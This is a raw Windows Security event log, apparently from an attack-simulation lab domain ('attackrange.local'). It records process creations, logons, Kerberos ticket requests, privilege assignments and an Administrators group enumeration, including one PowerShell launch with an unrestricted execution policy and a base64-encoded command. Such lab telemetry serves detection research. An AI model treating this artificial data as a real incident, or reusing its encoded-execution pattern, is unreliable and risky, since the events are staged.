-Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc64 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x504 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257483 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x508A05 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257482 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x508A05 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6689ADF7-8119-E258-A2CE-209FAAE16B3F} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257481 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6689ADF7-8119-E258-A2CE-209FAAE16B3F} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257480 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6689ADF7-8119-E258-A2CE-209FAAE16B3F} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:32:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257479 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257490 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257489 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\servicing\TrustedInstaller.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\servicing\TrustedInstaller.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257488 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257487 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x554 - New Process Name: C:\Windows\Temp\C53F4470-1B10-4C6D-BCB7-1CE04783AAB6\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11a8 - Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Process Command Line: C:\Windows\TEMP\C53F4470-1B10-4C6D-BCB7-1CE04783AAB6\dismhost.exe {7ADB1F21-1D10-4A02-8A4C-9D2574B9BF30} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257491 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x884 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257515 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257514 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257513 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257512 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257511 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257510 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523DA8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257509 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x503C7E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257508 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523DA8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257507 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523DA8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257506 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. 